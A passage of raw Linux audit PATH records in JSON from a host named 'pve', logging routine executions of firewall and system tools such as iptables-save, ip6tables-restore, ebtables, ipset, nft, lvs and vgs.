ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985335,"@rawstring":"node=pve type=PATH msg=audit(1781964985.335:63496): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985335,"@rawstring":"node=pve type=PATH msg=audit(1781964985.335:63496): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985329,"@rawstring":"node=pve type=PATH msg=audit(1781964985.329:63495): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985329,"@rawstring":"node=pve type=PATH msg=audit(1781964985.329:63495): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985324,"@rawstring":"node=pve type=PATH msg=audit(1781964985.324:63493): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985324,"@rawstring":"node=pve type=PATH msg=audit(1781964985.324:63493): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985318,"@rawstring":"node=pve type=PATH msg=audit(1781964985.318:63492): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985318,"@rawstring":"node=pve type=PATH msg=audit(1781964985.318:63492): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985314,"@rawstring":"node=pve type=PATH msg=audit(1781964985.314:63491): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985314,"@rawstring":"node=pve type=PATH msg=audit(1781964985.314:63491): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985308,"@rawstring":"node=pve type=PATH msg=audit(1781964985.308:63490): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985308,"@rawstring":"node=pve type=PATH msg=audit(1781964985.308:63490): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985303,"@rawstring":"node=pve type=PATH msg=audit(1781964985.303:63489): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985303,"@rawstring":"node=pve type=PATH msg=audit(1781964985.303:63489): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985298,"@rawstring":"node=pve type=PATH msg=audit(1781964985.298:63488): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985298,"@rawstring":"node=pve type=PATH msg=audit(1781964985.298:63488): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985292,"@rawstring":"node=pve type=PATH msg=audit(1781964985.292:63487): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985292,"@rawstring":"node=pve type=PATH msg=audit(1781964985.292:63487): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985285,"@rawstring":"node=pve type=PATH msg=audit(1781964985.285:63486): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985285,"@rawstring":"node=pve type=PATH msg=audit(1781964985.285:63486): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985282,"@rawstring":"node=pve type=PATH msg=audit(1781964985.282:63485): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985282,"@rawstring":"node=pve type=PATH msg=audit(1781964985.282:63485): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985279,"@rawstring":"node=pve type=PATH msg=audit(1781964985.279:63484): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985279,"@rawstring":"node=pve type=PATH msg=audit(1781964985.279:63484): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985278,"@rawstring":"node=pve type=PATH msg=audit(1781964985.278:63483): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985278,"@rawstring":"node=pve type=PATH msg=audit(1781964985.278:63483): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985278,"@rawstring":"node=pve type=PATH msg=audit(1781964985.278:63482): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985274,"@rawstring":"node=pve type=PATH msg=audit(1781964985.274:63481): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985274,"@rawstring":"node=pve type=PATH msg=audit(1781964985.274:63481): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985274,"@rawstring":"node=pve type=PATH msg=audit(1781964985.274:63481): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985267,"@rawstring":"node=pve type=PATH msg=audit(1781964985.267:63480): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985267,"@rawstring":"node=pve type=PATH msg=audit(1781964985.267:63480): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985261,"@rawstring":"node=pve type=PATH msg=audit(1781964985.261:63479): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985261,"@rawstring":"node=pve type=PATH msg=audit(1781964985.261:63479): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985256,"@rawstring":"node=pve type=PATH msg=audit(1781964985.256:63478): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985256,"@rawstring":"node=pve type=PATH msg=audit(1781964985.256:63478): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985249,"@rawstring":"node=pve type=PATH msg=audit(1781964985.249:63477): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985249,"@rawstring":"node=pve type=PATH msg=audit(1781964985.249:63477): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985243,"@rawstring":"node=pve type=PATH msg=audit(1781964985.243:63476): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985243,"@rawstring":"node=pve type=PATH msg=audit(1781964985.243:63476): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964984941,"@rawstring":"node=pve type=PATH msg=audit(1781964984.941:63475): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964984941,"@rawstring":"node=pve type=PATH msg=audit(1781964984.941:63475): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964984905,"@rawstring":"node=pve type=PATH msg=audit(1781964984.905:63474): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964984905,"@rawstring":"node=pve type=PATH msg=audit(1781964984.905:63474): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964981371,"@rawstring":"node=pve type=PATH msg=audit(1781964981.371:63473): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964981371,"@rawstring":"node=pve type=PATH msg=audit(1781964981.371:63473): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964981371,"@rawstring":"node=pve type=PATH msg=audit(1781964981.371:63472): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964981371,"@rawstring":"node=pve type=PATH msg=audit(1781964981.371:63471): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964981361,"@rawstring":"node=pve type=PATH msg=audit(1781964981.361:63470): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964981361,"@rawstring":"node=pve type=PATH msg=audit(1781964981.361:63470): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964981361,"@rawstring":"node=pve type=PATH msg=audit(1781964981.361:63469): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964981361,"@rawstring":"node=pve type=PATH msg=audit(1781964981.361:63468): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964976350,"@rawstring":"node=pve type=PATH msg=audit(1781964976.350:63467): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964976350,"@rawstring":"node=pve type=PATH msg=audit(1781964976.350:63467): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964976350,"@rawstring":"node=pve type=PATH msg=audit(1781964976.350:63466): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964976350,"@rawstring":"node=pve type=PATH msg=audit(1781964976.350:63465): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964976341,"@rawstring":"node=pve type=PATH msg=audit(1781964976.341:63464): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964976341,"@rawstring":"node=pve type=PATH msg=audit(1781964976.341:63464): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964976341,"@rawstring":"node=pve type=PATH msg=audit(1781964976.341:63463): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964976341,"@rawstring":"node=pve type=PATH msg=audit(1781964976.341:63462): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975232,"@rawstring":"node=pve type=PATH msg=audit(1781964975.232:63461): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975232,"@rawstring":"node=pve type=PATH msg=audit(1781964975.232:63461): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975229,"@rawstring":"node=pve type=PATH msg=audit(1781964975.229:63460): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975229,"@rawstring":"node=pve type=PATH msg=audit(1781964975.229:63460): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975228,"@rawstring":"node=pve type=PATH msg=audit(1781964975.228:63459): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975228,"@rawstring":"node=pve type=PATH msg=audit(1781964975.228:63459): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975228,"@rawstring":"node=pve type=PATH msg=audit(1781964975.228:63458): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975225,"@rawstring":"node=pve type=PATH msg=audit(1781964975.225:63457): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975225,"@rawstring":"node=pve type=PATH msg=audit(1781964975.225:63457): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975225,"@rawstring":"node=pve type=PATH msg=audit(1781964975.225:63457): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975219,"@rawstring":"node=pve type=PATH msg=audit(1781964975.219:63456): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975219,"@rawstring":"node=pve type=PATH msg=audit(1781964975.219:63456): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975213,"@rawstring":"node=pve type=PATH msg=audit(1781964975.213:63455): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975213,"@rawstring":"node=pve type=PATH msg=audit(1781964975.213:63455): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975207,"@rawstring":"node=pve type=PATH msg=audit(1781964975.207:63454): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975207,"@rawstring":"node=pve type=PATH msg=audit(1781964975.207:63454): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975200,"@rawstring":"node=pve type=PATH msg=audit(1781964975.200:63453): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975200,"@rawstring":"node=pve type=PATH msg=audit(1781964975.200:63453): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975195,"@rawstring":"node=pve type=PATH msg=audit(1781964975.195:63451): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975195,"@rawstring":"node=pve type=PATH msg=audit(1781964975.195:63451): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975191,"@rawstring":"node=pve type=PATH msg=audit(1781964975.191:63450): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975191,"@rawstring":"node=pve type=PATH msg=audit(1781964975.191:63450): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975185,"@rawstring":"node=pve type=PATH msg=audit(1781964975.185:63449): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975185,"@rawstring":"node=pve type=PATH msg=audit(1781964975.185:63449): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975181,"@rawstring":"node=pve type=PATH msg=audit(1781964975.181:63448): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975181,"@rawstring":"node=pve type=PATH msg=audit(1781964975.181:63448): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975176,"@rawstring":"node=pve type=PATH msg=audit(1781964975.176:63447): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975176,"@rawstring":"node=pve type=PATH msg=audit(1781964975.176:63447): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975171,"@rawstring":"node=pve type=PATH msg=audit(1781964975.171:63446): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975171,"@rawstring":"node=pve type=PATH msg=audit(1781964975.171:63446): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975165,"@rawstring":"node=pve type=PATH msg=audit(1781964975.165:63445): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975165,"@rawstring":"node=pve type=PATH msg=audit(1781964975.165:63445): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975160,"@rawstring":"node=pve type=PATH msg=audit(1781964975.160:63444): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975160,"@rawstring":"node=pve type=PATH msg=audit(1781964975.160:63444): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 